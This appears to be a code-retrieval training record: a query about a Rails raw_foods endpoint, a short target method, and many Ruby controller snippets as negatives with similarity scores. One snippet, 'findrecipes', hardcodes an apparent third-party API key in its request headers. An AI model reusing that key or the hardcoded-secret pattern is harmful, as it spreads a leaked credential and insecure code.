"def index\n if params[\"query\"]\n #Represent SoQL query as HTTP params\n args = {\"$q\" => params[\"query\"], \n \"$select\" => \"applicant, address, latitude, longitude, schedule\", \n \"$limit\" => SODA_SEARCH_LIMIT.to_s}\n response = FOOD_TRUCK_FINDER_SODA_CLIENT.get(SF_FOOD_TRUCK_SODA_DATASET_ID,\n args)\n \n # Formating the SODA response into a dictionary of attributes which\n # the Google Maps plugin can consume\n @trucks = response.flat_map { |truck|\n if (truck.applicant && \n truck.schedule && \n truck.latitude && \n truck.longitude &&\n truck.address)\n [{ \"applicant\" => truck.applicant, \n \"schedule\" => truck.schedule, \n \"lat\" => truck.latitude, \n \"lng\" => truck.longitude, \n \"title\" => truck.applicant,\n \"address\" => truck.address,\n #Generating and dynamically formatting the HTML for the \n #'info-window' that pops up when a map marker is clicked on\n \"infowindow\" => generate_infowindow(truck)\n }]\n else\n #Remove food trucks with missing attributes \n []\n end\n }\n else\n @trucks = []\n end\n\n respond_to do |format|\n format.html\n end\n end",
"def index\n render json: @owner.cats\n end",
"def index \n\t\trespond_to do |format|\t\t\n\t\t \tformat.html # index.html.erb\n\t\t \tformat.json { \n\t\t\t \t\n\t\t\t\t\n\t\t\t\t# Locations /w my assets\n\t\t\t\t\n\t\t\t\t\n\t\t\t\trfid_readers = RfidReader.all\t\t\t\t\n\t\t\t\trfid_readers = rfid_readers.map { |rfid_reader| {\t\t\t\t\t\t\n\t\t\t\t\t\t:network => rfid_reader.network.description,\n\t\t\t\t\t\t:mac_address => rfid_reader.mac_address,\n\t\t\t\t\t\t:reader_name => rfid_reader.reader_name,\n\t\t\t\t\t\t:_id => rfid_reader._id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\trender json: rfid_readers \t\t\t\n\t\t \t}\n\t\tend\n\tend",
"def index\n #@recipes = Recipe.paginate(:page => params[:page], :per_page => 198)\n @recipes = Recipe.where(\"LOWER(name) like ?\", \"%#{params[:q] ? params[:q].downcase : ''}%\").paginate(:page => params[:page], :per_page => 198).order(:name)\n respond_to do |format|\n format.html\n format.json {render :json => @recipes.map(&:attributes)}\n end\n end",
"def index\n @food_products = FoodProduct.all\n render json: @food_products\n end",
"def index\n json_response(Restaurant.all)\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def index\n @food_sliders = FoodSlider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @food_sliders }\n end\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def index\n @fridge_item_ids = FridgeItem.pluck(:ingredient_id)\n @available_recipes = find_available_recipes\n @recipes = Recipe.paginate(page: params[:page])\n end",
"def show\n render json: @food_product\n end",
"def show\n animal = Animal.find(params[:id])\n #return all the sightings for the animal\n render json: animal.to_json(include: :sightings)\nend",
"def index\n @given_circumstances = GivenCircumstance.all\n render json: @given_circumstances\n end",
"def index\n @spoofers = Spoofer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spoofers }\n end\n end",
"def read_moods\n raw_data = File.read(\"#{Dir.home}/desktop/terminalapp/public/moods.json\") \n mood_data = JSON.parse(raw_data) \n Track.convert(mood_data, :object)\nend",
"def index\n @foodhampers = Foodhamper.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foodhampers }\n end\n end",
"def get_dogs\n user_dog = User.find(params[:id]).dog\n if user_dog\n render json: user_dog.to_json(include: :dog_photos)\n else\n render json: []\n end\n end",
"def index\n @dogs = Dog.all\n render json: @dogs, each_serializer: DogSerializer, root: 'dogs'\n end",
"def scubooks\n sections = Section.all\n render json: sections\n end",
"def index \n restaurant = Restaurant.all\n render json: restaurant\n end",
"def show\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def show\n song = Song.find(params[:id])\n render json: song.to_json(only: [:id, :title, :artist], methods: :path, include: {category: {only: [:id, :name]}})\n end",
"def index\n @riffblobs = current_user.riffblobs\n respond_to do |format|\n format.json { render json: @riffblobs.as_json }\n end\n end",
"def index\n # @recipes = Recipe.all\n end",
"def listRestaurants\n _restaurants = Restaurant.all\n render json: _restaurants\n end",
"def set_raw_food\n @raw_food = RawFood.friendly.find(params[:id])\n end",
"def show\n @foil = Foil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foil }\n end\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant.to_json(except: [ :created_at, :updated_at ], methods: [ :partial_dishes, :partial_comments, :busy, :partial_recommendations ]) }\n end\n end",
"def findrecipes\n\t\t@hide_menu = true\n puts \"In Find Recipes\"\n #this is where the data for the searching of recipes gets routed into\n input = params['query'].inspect\n\n ingreds = input.split(',')\n\n input = ingreds.join(\"%2C\")\n #this is the api \n url = \"https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/findByIngredients?fillIngredients=false&ingredients=\" + input + \"&limitLicense=false&number=5&ranking=1\"\n\n res = Unirest.get url,\n headers:{\n \"X-Mashape-Key\" => \"UpZLcnOR83mshtXvuIOPFXBkfhn5p1UWi1ejsnsTLWoVXrOppm\",\n \"Accept\" => \"application/json\"\n }\n\n recipes = res.body\n #for each recipe that gets returned, the following information is routed into the recipe results page\n recipes.each do |recipe|\n url2 = url2 = \"https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/\" + recipe['id'].to_s + \"/information?includeNutrition=false\"\n\n res2 = Unirest.get url2,\n headers:{\n \"X-Mashape-Key\" => \"UpZLcnOR83mshtXvuIOPFXBkfhn5p1UWi1ejsnsTLWoVXrOppm\",\n \"Accept\" => \"application/json\"\n }\n\n price = (\"$\" + (0.01 * res2.body['pricePerServing']).to_s)[0..5]\n\n recipe['price'] = price\n #this is the price of a recipe per serving\n\n end\n\n @recipeData = recipes\n render template: \"recipes/data\"\n end",
"def index\n @done_foods = DoneFood.all\n end",
"def show\n render json: @spellbook\n end",
"def show\n @love = Love.find(params[:id])\n render json: @love\n end",
"def show\n @fridge = Fridge.find(params[:id])\n @items = @fridge.fridge_items # for _item_list.html.erb\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fridge }\n end\n end",
"def show\n @recipesource = Recipesource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipesource }\n end\n end",
"def index\n @factions = Faction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @factions }\n end\n end",
"def show\n @recipe_ingredient = Recipe_ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
"def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\nend"
] |
[
"0.6102828",
"0.6073179",
"0.6066163",
"0.6046955",
"0.60209143",
"0.5993838",
"0.59853595",
"0.59044284",
"0.58988947",
"0.5885538",
"0.5860099",
"0.58509797",
"0.5846837",
"0.58295476",
"0.5821436",
"0.5818018",
"0.5809477",
"0.57992476",
"0.57975304",
"0.5795081",
"0.57936424",
"0.57791203",
"0.577799",
"0.5770646",
"0.57694495",
"0.5728088",
"0.57169896",
"0.5701136",
"0.5696658",
"0.5667721",
"0.5667023",
"0.56652486",
"0.5660711",
"0.56482136",
"0.56353956",
"0.5633993",
"0.56318",
"0.5617794",
"0.56155014",
"0.56070834",
"0.56062025",
"0.56038785",
"0.55788296",
"0.5577871",
"0.557158",
"0.55698854",
"0.5567959",
"0.55602604",
"0.5535732",
"0.55100346",
"0.5506628",
"0.5500812",
"0.54942006",
"0.54930365",
"0.54686177",
"0.54684144",
"0.5468029",
"0.5462705",
"0.54572016",
"0.5455633",
"0.5442292",
"0.54380995",
"0.54352134",
"0.5422823",
"0.542044",
"0.54185504",
"0.54171646",
"0.5410798",
"0.5408292",
"0.54047406",
"0.5403788",
"0.53955",
"0.5394233",
"0.5392562",
"0.53913414",
"0.53905183",
"0.5387957",
"0.53796154",
"0.5372018",
"0.5370039",
"0.53660184",
"0.5364183",
"0.5362703",
"0.53526616",
"0.5350741",
"0.5348621",
"0.53467214",
"0.53460395",
"0.5344636",
"0.53346485",
"0.5334301",
"0.5334037",
"0.53339565",
"0.53336924",
"0.5331446",
"0.53303725",
"0.5325852",
"0.5315536",
"0.53090316",
"0.53080606",
"0.5306648"
] |
0.0
|
-1
|
GET /raw_foods/1 GET /raw_foods/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end",
"def show\n @data = @recipe.read(params[:id])\n render json: @data\n end",
"def show\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_recipe }\n end\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def show\n\n recipe = Recipe.find(params[:id])\n render :json => recipe.to_json\n\n end",
"def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end",
"def show\n @ingredient = Ingredient.find_by_url_slug(params[:id])\n @ingredient = Ingredient.find(params[:id]) if @ingredient.nil?\n @recipes = @ingredient.recipes.order('created_at DESC')\n logger.debug @recipes.inspect\n respond_to do |format|\n format.html {render :layout => 'wall'}\n format.json { render json: @ingredient }\n end\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def index\n @recipes_foods = RecipesFood.all\n end",
"def show\n json_response(@food_item)\n end",
"def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end",
"def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end",
"def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end",
"def index\n json_response(current_restaurant.restaurant_food_items)\n end",
"def index\n @foods = Food.all\n end",
"def show\n @fooditem = Fooditem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @fooditem }\n end\n end",
"def show\n\t\t@recipe = Recipe.find(params[:id])\n\t\tif @recipe \n\t\t\trender json: @recipe.to_json(:include => [:inventories])\n\t\telse\n\t\t\trender status: 400, nothing: true\n\t\tend\n\tend",
"def favorite_foods\n get(\"/user/#{@user_id}/foods/log/favorite.json\")\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json { render json: @recipe }\n end\n end",
"def show\n render json: @recipe\n end",
"def show\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_food }\n end\n end",
"def index\n @fast_foods = FastFood.all\n end",
"def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end",
"def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end",
"def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end",
"def show\n @recipe_all = RecipeAll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_all }\n end\n end",
"def show\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def show\n @foil = Foil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foil }\n end\n end",
"def show\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foam }\n end\n end",
"def show\n @foiltype = Foiltype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foiltype }\n end\n end",
"def raw\n raise(ActionController::RoutingError, 'Not Found') unless blacklight_config.raw_endpoint.enabled\n\n @document = search_service.fetch(params[:id])\n render json: @document\n end",
"def show\n @recipe = Recipe.find(params[:id])\n @nutrition_info = NutritionInfo.where( \"recipe_id = ?\", @recipe.id ).first\n @inventory_items = []\n @recipe.inventory_items.each do |inventory_item|\n @inventory_items << inventory_item\n end\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def index\n @recipes = (!params[:recipe].blank?)? Recipe.where(\"id in (\" + params[:recipe] + \")\") : Recipe.all\n @recipes_json = Recipe.where(\"title ilike ?\", \"%#{params[:q]}%\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: custom_json_for(@recipes_json)}\n end\n end",
"def index\n @fridge_foods = FridgeFood.find_all_by_user_id(session[:user_id])\n\n logger.debug @fridge_food\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml # { render :xml => @fridge_foods }\n end\n end",
"def index\n @food_type_id = @foodTypes.first\n\n if params['type']\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: params['type']['type_id']).paginate(page: params[:page])\n else\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: @food_type_id).paginate(page: params[:page])\n end\n\n respond_with @foods\n end",
"def index\n recipes = current_user.recipes\n render json: { recipes: recipes}.to_json, status: :ok\n end",
"def show\n song = Song.find(params[:id])\n render json: song.to_json(only: [:id, :title, :artist], methods: :path, include: {category: {only: [:id, :name]}})\n end",
"def show(id) \n response = request(:get, \"/recipes/#{id}.json\")\n response.first[1]\n end",
"def find_food(query)\n get(\"/foods/search.json?query=#{URI.escape(query)}\")\n end",
"def index\n recipe_items = current_user.recipes.includes(recipe_items: :ingredient).find(params[:recipe_id]).recipe_items\n render json: { recipe_items: recipe_items}.to_json(include: :ingredient), status: :ok\n end",
"def show\n @recipe_ingredient = Recipe_ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
"def show\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @familiar }\n end\n end",
"def index\n render json: Recipe.all\n end",
"def show\n @recipesource = Recipesource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipesource }\n end\n end",
"def show\n @love = Love.find(params[:id])\n render json: @love\n end",
"def index\n @items = Item.all\n\n render :json => @items, :include =>[{:location =>{:except=>[:id, :created_at, :updated_at]}}, {:food =>{:except =>[:id, :created_at, :updated_at]}}], :except => [:created_at, :updated_at, :food_id, :location_id]\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end",
"def index\n @saved_foods = SavedFood.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @saved_foods }\n end\n end",
"def show\n @recipe_ingredient = RecipeIngredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
"def index\n @raws = Raw.all\n end",
"def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end",
"def index\n\t\t@recipes = Recipe.where(user_id: session[:user_id])\n\t\tif @recipes\n\t\t\trender json: @recipes.to_json(:include => [:inventories])\n\t\telse\n\t\t\tflash[:error] = \"You haven't saved any recipes yet! Search now :)\"\n\t\t\trender status: 400, nothing: true\n\t\tend\n\tend",
"def index\n @type_foods = TypeFood.all\n end",
"def show\n respond_with Recipe.find(params[\"id\"])\n end",
"def index\n @animal_foods = AnimalFood.all\n end",
"def set_raw_food\n @raw_food = RawFood.friendly.find(params[:id])\n end",
"def index\n type = params[:type]\n fg = params[:fg]\n @page = Page.find(2)\n @foodTypes = FoodType.all\n @type_id = type\n\n @foods = Food.find_by_sql([\"SELECT * FROM FOODS WHERE food_type_id = ?\", type])\n\n \n @foods = Food.find_by_sql(\"SELECT * FROM FOODS WHERE important = 't'\") if !params.has_key?(:type)\n \n \n if !fg.nil?\n @front_food = Food.find(fg) \n end if\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foods }\n end\n end",
"def view_api\n api_string = RestClient.get(\"https://itunes.apple.com/search?term=star+wars&entity=song&attribute=movieTerm\")\n api_hash = JSON.parse(api_string)\n\n end",
"def show\n @food = Food.find(params[:id])\n respond_with(@food)\n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @socio }\n end\n end",
"def foods_units\n get('/foods/units.json')\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def list\n \n recipes = Recipe.all\n render :json => recipes.to_json\n\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end",
"def search\n render json: PersonScantronAppointment.first(10)\n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @socio }\n end\n end",
"def show\n @weather_item = WeatherItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weather_item }\n end\n end",
"def show\n @fridge = Fridge.find(params[:id])\n @items = @fridge.fridge_items # for _item_list.html.erb\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fridge }\n end\n end",
"def show\n params.require(%i[id])\n render json: Ingredient.find_by!(id: params[:id])\n end",
"def frequent_foods\n get(\"/user/#{@user_id}/foods/log/frequent.json\")\n end",
"def show\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bowl }\n end\n end",
"def show\n render json: Item.find(params[\"id\"])\n end",
"def show\n @foto = Foto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foto }\n end\n end",
"def index\n @factions = Faction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @factions }\n end\n end",
"def show\n @foodlog = Foodlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @foodlog }\n end\n end",
"def show\n @recipe = Recipe.find(params[:id])\n @recipeIngredients = RecipeIngredient.where(:recipeId => params[:id])\n @ingredients = Ingredient.where(:id => @recipeIngredients.select(:ingredientId))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def show\n @food_slider = FoodSlider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_slider }\n end\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end",
"def show\n @sound_file = SoundFile.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sound_file }\n end\n end",
"def index\n @spoofers = Spoofer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spoofers }\n end\n end",
"def show\n @meal = Meal.find(params[:meal_id]) if params[:meal_id]\n @recipe = @meal.recipes.find(params[:id]) if @meal\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def show\n render json: @food_product\n end",
"def index\n per_page = params[:per_page]&.to_i || DEFAULT_PER_PAGE\n page = params[:page]&.to_i || DEFAULT_PAGE\n query = params[:query] || \"\"\n\n queries = query.split(\",\").map { |q| \"%#{q.downcase.strip}%\" }\n recipe_ids = []\n \n if queries.present?\n queries.each do |q|\n tmp_recipe_ids = Ingredient.where('UNACCENT(LOWER(name)) ILIKE UNACCENT(?)', q)\n .pluck(:recipe_id)\n .uniq\n\n excluded_ids = []\n excluded_ids = recipe_ids - tmp_recipe_ids | tmp_recipe_ids - recipe_ids unless recipe_ids.empty?\n \n recipe_ids = (recipe_ids + tmp_recipe_ids) - excluded_ids\n end\n end\n \n recipes = Recipe.where(id: recipe_ids).order('rate DESC NULLS LAST').order(id: :asc)\n .page(page)\n .per(per_page)\n \n render json: {\n meta: {\n total_recipes: recipes.total_count,\n total_pages: recipes.total_pages,\n per_page: per_page,\n query: query,\n page: page\n }, \n recipes: recipes.map { |recipe| ::RecipeJson.new(recipe: recipe).to_h }\n }\n end",
"def show\n @phile = File.read(params[:id].gsub('DOTDOT','.').gsub('SLASHSLASH','/'))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {content: @phile} }\n end\n end",
"def index\n @food_items = FoodItem.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mood }\n end\n end",
"def show\n @album_owned = AlbumOwned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album_owned }\n end\n end",
"def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end",
"def show\n dog = Dog.find(params[:id])\n render json: dog\n end",
"def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end",
"def index\n @food_sliders = FoodSlider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @food_sliders }\n end\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end"
] |
[
"0.6206109",
"0.6187155",
"0.617324",
"0.61045915",
"0.6079559",
"0.60547745",
"0.60542583",
"0.6038859",
"0.6030761",
"0.6027731",
"0.6018408",
"0.6017089",
"0.5996283",
"0.59912103",
"0.5987212",
"0.59770024",
"0.59596664",
"0.59274936",
"0.58990127",
"0.58911735",
"0.5888895",
"0.5874386",
"0.58699137",
"0.5846169",
"0.58421737",
"0.58414096",
"0.58336216",
"0.5827397",
"0.58156985",
"0.5803469",
"0.57886815",
"0.57744116",
"0.5774052",
"0.57611746",
"0.57579935",
"0.57526696",
"0.5750845",
"0.57456505",
"0.57385194",
"0.5737819",
"0.57329184",
"0.5729161",
"0.57159734",
"0.57119805",
"0.5710389",
"0.570102",
"0.56868297",
"0.5680718",
"0.56608796",
"0.5645961",
"0.5644736",
"0.5644542",
"0.5643047",
"0.563137",
"0.5606407",
"0.56059986",
"0.5583657",
"0.5568654",
"0.556799",
"0.55637777",
"0.55583847",
"0.55535966",
"0.55521774",
"0.55393606",
"0.55328435",
"0.5529466",
"0.55292875",
"0.55276626",
"0.5526006",
"0.5525968",
"0.5525078",
"0.55247587",
"0.552216",
"0.5514857",
"0.5514033",
"0.5510273",
"0.5510232",
"0.5509841",
"0.55095536",
"0.5505024",
"0.55035746",
"0.5497253",
"0.5491304",
"0.5489631",
"0.54887384",
"0.5483133",
"0.54804575",
"0.54801536",
"0.5479679",
"0.54795694",
"0.5478477",
"0.54671323",
"0.54642105",
"0.54588026",
"0.5458204",
"0.5457489",
"0.5450778",
"0.5449585",
"0.5443376",
"0.544243",
"0.54395336"
] |
0.0
|
-1
|
POST /raw_foods POST /raw_foods.json
|
def create
@raw_food = current_merchant.raw_foods.new(raw_food_params)
respond_to do |format|
if @raw_food.save
format.html { redirect_to @raw_food, notice: 'Raw food was successfully created.' }
format.json { render :show, status: :created, location: @raw_food }
else
format.html { render :new }
format.json { render json: @raw_food.errors, status: :unprocessable_entity }
end
end
@raw_food.ordering_method_ids = params[:raw_food][:ordering_method_ids]
@raw_food.delivery_location_ids = params[:raw_food][:delivery_location_ids]
@raw_food.online_retail_service_type_ids = params[:raw_food][:online_retail_service_type_ids]
@raw_food.raw_food_product_category_ids = params[:raw_food][:raw_food_product_category_ids]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @food = @fridge.foods.create(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end",
"def raw_food_params\n params.require(:raw_food).permit(:logo, :brand_name, :general_contact_number, :general_email, :website_online_ordering_page, :facebook_page, :instagram_handle, :featured_image, :self_collection_address, :question_1, :expiry_date, :halal_expiry, :draft, :verified, :merchant_id, :listing_id, :product_qualifying_type_id, :opening_hours_attributes => [:id, :day_id, :open, :close, :_destroy], :rewards_attributes => [:id, :discount_id, :terms], :menus_attributes => [:id, :image, :name, :description, :price], :verifying_documents_attributes => [:id, :document], ordering_method_ids: [], delivery_location_ids: [], raw_food_product_category_ids: [], online_retail_service_type_ids: [])\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n json_response(current_restaurant.restaurant_food_items.create!(food_item_params), :created)\n end",
"def create\n @raw = Raw.new(raw_params)\n\n respond_to do |format|\n if @raw.save\n format.html { redirect_to @raw, notice: 'Raw was successfully created.' }\n format.json { render :show, status: :created, location: @raw }\n else\n format.html { render :new }\n format.json { render json: @raw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @raw_food.update(raw_food_params)\n format.html { redirect_to @raw_food, notice: 'Raw food was successfully updated.' }\n format.json { render :show, status: :ok, location: @raw_food }\n else\n format.html { render :edit }\n format.json { render json: @raw_food.errors, status: :unprocessable_entity }\n end\n end\n @raw_food.opening_hours.build\n @raw_food.rewards.build\n @raw_food.menus.build\n @raw_food.verifying_documents.build\n @raw_food.ordering_method_ids = params[:raw_food][:ordering_method_ids]\n @raw_food.delivery_location_ids = params[:raw_food][:delivery_location_ids]\n @raw_food.online_retail_service_type_ids = params[:raw_food][:online_retail_service_type_ids]\n @raw_food.raw_food_product_category_ids = params[:raw_food][:raw_food_product_category_ids]\n end",
"def create\n recipe = Recipe.create(recipe_params)\n render json: recipe\n end",
"def create\n @recipes_food = RecipesFood.new(recipes_food_params)\n\n respond_to do |format|\n if @recipes_food.save\n format.html { redirect_to @recipes_food, notice: 'Recipes food was successfully created.' }\n format.json { render :show, status: :created, location: @recipes_food }\n else\n format.html { render :new }\n format.json { render json: @recipes_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @food_recipe = FoodRecipe.new(params[:food_recipe])\n\n respond_to do |format|\n if @food_recipe.save\n format.html { redirect_to @food_recipe, notice: 'Food recipe was successfully created.' }\n format.json { render json: @food_recipe, status: :created, location: @food_recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @food_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
